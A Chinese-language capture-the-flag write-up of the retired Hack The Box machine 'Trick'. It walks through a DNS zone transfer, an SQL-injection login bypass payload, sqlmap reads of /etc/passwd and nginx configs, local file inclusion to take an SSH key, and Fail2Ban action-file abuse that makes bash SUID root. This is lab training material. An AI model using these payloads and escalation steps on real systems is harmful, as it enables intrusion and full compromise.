Trick Writeup

概述 (Overview)

500

HOST: 10.10.11.166

OS: LINUX

发布时间: 2022-06-19

完成时间: 2022-06-23

机器作者: Geiseric

困难程度: EASY

机器状态: 退休

MACHINE TAGS: #DNSZoneTransfer #Fuzzing #SQLi #LFI #Fail2Ban

攻击链 (Kiillchain)

使用 Nmap 对目标服务器开放端口进行识别,通过 DNS 服务域传送漏洞得到子域名站点,在该站点发现 SQL 注入漏洞。利用文件读取发现另一子站点还存在本地脚本加载漏洞,最终使用读取到的用户ssh私钥成功登录目标服务器。

简单枚举发现存在 Fail2Ban 服务,并且用户具备重启 Fail2Ban 服务和修改该服务的规则配置文件。最后,利用该服务成功完成权限提升。

枚举(Enumeration)

初始还是使用 Nmap 对目标服务开放端口进行枚举。

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA) | 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA) |_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING 53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux) | dns-nsid: |_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian 80/tcp open http nginx 1.14.2 |_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA |_http-title: Coming Soon - Start Bootstrap Theme | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.14.2 Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

得到开放端口基本信息:4 个对外暴露端口,服务器系统为 Debian,存在 DNS 和 Web 站点。

Port 53 - DNS

浏览器打开预览下,发现就是一个静态业务没什么后端交互功能。转而查看 DNS 服务 ,简单验证后发现存在域传送漏洞。

dig axfr @10.10.11.166 trick.htb ; <<>> DiG 9.18.1-1-Debian <<>> axfr @10.10.11.166 trick.htb ; (1 server found) ;; global options: +cmd trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 trick.htb. 604800 IN NS trick.htb. trick.htb. 604800 IN A 127.0.0.1 trick.htb. 604800 IN AAAA ::1 preprod-payroll.trick.htb. 604800 IN CNAME trick.htb. trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 ;; Query time: 248 msec ;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP) ;; WHEN: Thu Jun 23 12:06:58 CST 2022 ;; XFR size: 6 records (messages 1, bytes 231)

随即将这几个域名加入到 hosts 文件中再次进行访问:

10.10.11.166 trick.htb preprod-payroll.trick.htb root.trick.htb

600

立足点(Foothold)

preprod-payroll 子域名网站登录表单进行简单测试,发现存在 SQL 注入漏洞。

600

一个简单的 SQL 查询闭合就登录了网站后台:

username='+or+''%3D'&password='+or+''%3D'

600

从显示是信息中能够知悉这是 admin 账号,在用户详情中改修页面 password 标签,能得到明文密码。

600

随后我将后台中涉及到的所有 Username 做成字典,通过 crackmapexec 尝试密码碰撞,可惜都失败了看来需要找别的路径。

600

在对 .trick.htb 进行子域名枚举后没有很好的进展,但观察到子域名的命名方式比较可疑。就用使用 fuff 工具对子域名进行新的枚举枚,有了新发现:preprod-marketing

600

加入 /etc/hosts 继续访问。

600

发现也是个 PHP 的站,对页面进行简单的分析暂时没找到问题。


然后这里就困扰了我很长一段时间,在 preprod-marketing 上没有找到突破口。转头继续在 preprod-payroll 站挖掘信息,在后台页面找到新的注入点,尝试使用 SqlMap 枚举下数据库权限,看看当前权限下能做什么事。

600

# 将数据包保存至 *.txt 文件,查看当前数据库用户 $ sqlmap -r 3.txt --dbs mysql –current-user current user: 'remo@localhost' # 查看当前数据库用户 $ sqlmap -r 3.txt --dbs mysql --privileges database management system users privileges: [*] 'remo'@'localhost' [1]: privilege: FILE

从 SqlMap 的枚举结果中能够看到,当前具有文件操作权限,可以用于读取服务器本地文件。读取 passwd 文件:

$ sqlmap -r 3.txt --dbs mysql --file-read="/etc/passwd"
[*] /root/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd (same file)
root:x:0:0:root:/root:/bin/bash ...snip... michael:x:1001:1001::/home/michael:/bin/bash

接着就是找 Web 站点路径了,用于进行写后续写 webshell 等操作。前面已知站点用的 Nginx,所以直接读默认配置文件即可。

$ sqlmap -r 3.txt --dbs mysql --file-read="/etc/nginx/sites-enabled/default" ...snip... server_name preprod-marketing.trick.htb; root /var/www/market; ...snip... server_name preprod-payroll.trick.htb; root /var/www/payroll; ...snip...

能看到两个站点在服务器上的绝对路径,尝试对 index.php 首页文件进行读取,发现 market 的 index.php 存在漏洞。简单处理了一下 GET 传参 page 的字符串,随后进行 include 函数加载外部脚本文件。

对传递的参数进行简单的处理就能进行任意文件加载,例如:

随后使用这种方式轻松读取到了 michael 用户的私钥,登录进了目标服务器。真实场景往往比这难一点,没有私钥的场景可以利用加载 nginx 日志触发 php 脚本进行反弹 shell。

600

600

权限提升(Privilege Escalation)

随后检查 sudo -l 权限列表,发现可以重启 fail2bin 服务(我说咋前面用 crackmapexec 枚举 ssh 登录的时候请求包丢失呢,往后服务器简单加固上可以考虑该服务):

User michael may run the following commands on trick: (root) NOPASSWD: /etc/init.d/fail2ban restart

Fail2ban 通过扫描日志文件(例如 /var/log/apache/error_log ),发现并禁止显示出恶意迹象的 IP 地址(例如:过多的密码失败、寻找漏洞利用等)。通常,Fail2Ban 使用更新防火墙规则的方法在指定的时间内拒绝特定的 IP 地址,在 Linux 操作系统下,Fail2Ban 是通过向 iptables 添加规则来强制实施对可疑 IP 地址的禁止。当然也可以配置任何其他任意操作(例如:发送电子邮件等)。

Fail2Ban 是什么?- https://aws.amazon.com/cn/blogs/china/open-source-tool-to-protect-ec2-instances-fail2ban/#Fail2ban 是什么?

简单了解后开始寻找相关权限提升的利用方式,最终参考:https://grumpygeekwrites.wordpress.com/2021/01/29/privilege-escalation-via-fail2ban/

检查 /etc/fail2bin 路径下的文件权限,发现当前用户的组具备 rwx 操作 action.d 文件夹的权限。该文件夹内具有不同类型的配置规则,可用于阻止 IP,同样可以用来进行权限提升。

600

找到里面的 iptables-multiport.conf 文件并编辑,将执行命令改为赋 bash 命令 SUDI 权限。

600

开始权限提升操作,保存上面文件修改并重启 fail2bin 服务,随后对 SSH 进行密码枚举扫描使 fail2bin 的规则生效。随后运行 bash -p 开启一个新的会话,就具备 root 权限了。

600

-p 参数的解释可以如下方式查看:

$ bash -c "help set" ...snip... -p 只要真实用户 ID 和有效用户 ID 不匹配时就会被打开。 禁用对 $ENV 文件的处理以及 shell 函数的导入。关闭此选项 会导致有效 uid 和 gid 被设定为真实 uid 和 gid。
  • -p: 参数的作用使 Bash 运行在特权模式下,也就是以超级用户(root)或管理员的权限运行。

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。